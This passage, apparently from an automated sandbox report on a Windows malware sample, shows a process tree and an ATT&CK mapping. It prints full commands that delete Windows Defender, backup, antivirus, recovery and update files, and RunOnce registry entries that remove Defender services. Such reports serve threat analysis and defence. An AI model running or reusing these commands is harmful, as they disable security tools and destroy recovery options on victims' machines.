icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files (x86)\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files (x86)\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files (x86)\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files (x86)\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files (x86)\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files (x86)\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files (x86)\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files (x86)\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files (x86)\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files (x86)\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files (x86)\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files (x86)\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files (x86)\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files (x86)\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files (x86)\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files (x86)\AVG","C:\Program Files (x86)\AVG","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files (x86)\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files (x86)\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files (x86)\Avast","C:\Program Files (x86)\Avast","C:\Program Files (x86)\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files (x86)\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files (x86)\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files (x86)\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files (x86)\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files (x86)\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files (x86)\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files (x86)\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files (x86)\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Users\Default\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive","C:\Users\Default\AppData\Local\OneDrive","C:\Users\Default\AppData\Roaming\Microsoft\OneDrive","C:\Users\Default\AppData\Roaming\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\logs","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\cache","C:\Users\Default\AppData\Local\Microsoft\OneDrive\settings","C:\Users\Default\AppData\Local\Microsoft\OneDrive\temp","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\OneDrive.ico","C:\Windows\system32\OneDriveStandaloneUpdater.exe","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\SysWOW64\OneDrive.ico","C:\Windows\SysWOW64\OneDriveStandaloneUpdater.exe","C:\Windows\system32\Tasks\Microsoft\Windows\OneDrive","C:\Windows\system32\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\OneDrive","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\system32\drivers\OneDrive.sys","C:\Windows\SysWOW64\drivers\OneDrive.sys","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of SetWindowsHookEx
      PID:3600
  - - C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
      C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Program Files (x86)\Windows Security","C:\Program Files (x86)\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files (x86)\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files (x86)\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files (x86)\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files (x86)\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files (x86)\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files (x86)\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files (x86)\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files (x86)\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files (x86)\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files (x86)\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files (x86)\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files (x86)\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files (x86)\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files (x86)\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files (x86)\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files (x86)\AVG","C:\Program Files (x86)\AVG","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files (x86)\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files (x86)\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files (x86)\Avast","C:\Program Files (x86)\Avast","C:\Program Files (x86)\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files (x86)\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files (x86)\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files (x86)\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files (x86)\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files (x86)\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files (x86)\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files (x86)\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files (x86)\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Users\Default\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive","C:\Users\Default\AppData\Local\OneDrive","C:\Users\Default\AppData\Roaming\Microsoft\OneDrive","C:\Users\Default\AppData\Roaming\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\logs","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\cache","C:\Users\Default\AppData\Local\Microsoft\OneDrive\settings","C:\Users\Default\AppData\Local\Microsoft\OneDrive\temp","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\OneDrive.ico","C:\Windows\system32\OneDriveStandaloneUpdater.exe","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\SysWOW64\OneDrive.ico","C:\Windows\SysWOW64\OneDriveStandaloneUpdater.exe","C:\Windows\system32\Tasks\Microsoft\Windows\OneDrive","C:\Windows\system32\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\OneDrive","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\system32\drivers\OneDrive.sys","C:\Windows\SysWOW64\drivers\OneDrive.sys","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of SetWindowsHookEx
      PID:2780
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc stop IObitUnlocker & sc delete IObitUnlocker
      4⤵
      Executes a command shell one-liner
      System Location Discovery: System Language Discovery
      PID:2760
    - - C:\Windows\SysWOW64\sc.exe
        
        sc stop IObitUnlocker
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:4448
    - - C:\Windows\SysWOW64\sc.exe
        
        sc delete IObitUnlocker
        5⤵
        Launches sc.exe
        
        PID:4888
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c taskkill /f /pid "888"
      4⤵
      Executes a command shell one-liner
      System Location Discovery: System Language Discovery
      PID:2168
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /pid "888"
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1976
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies data under HKEY_USERS
    PID:460
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "RegClean" /t reg_sz /f /d "\"C:\Users\Admin\AppData\Local\Temp\saked\NSudoLG.exe\" -U:T -P:E -ShowWindowMode:Hide -Wait start "" /min cmd.exe /c \"timeout /t 3 /nobreak & reg delete HKLM\System\CurrentControlSet\Services\WdFilter /f & reg delete HKLM\System\CurrentControlSet\Services\WinDefend /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisDrv /f & reg delete HKLM\System\CurrentControlSet\Services\MDCoreSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdBoot /f\""
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1920
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "RegClean1" /t reg_sz /f /d "\"C:\Users\Admin\AppData\Local\Temp\saked\NSudoLG.exe\" -U:T -P:E -ShowWindowMode:Hide -Wait start "" /min cmd.exe /c \"timeout /t 3 /nobreak & reg delete HKLM\System\CurrentControlSet\Services\WdFilter /f & reg delete HKLM\System\CurrentControlSet\Services\WinDefend /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisDrv /f & reg delete HKLM\System\CurrentControlSet\Services\MDCoreSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdBoot /f\""
    3⤵
    PID:4736

C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.sys
C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.sys
1⤵
- Executes dropped EXE
PID:2644

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

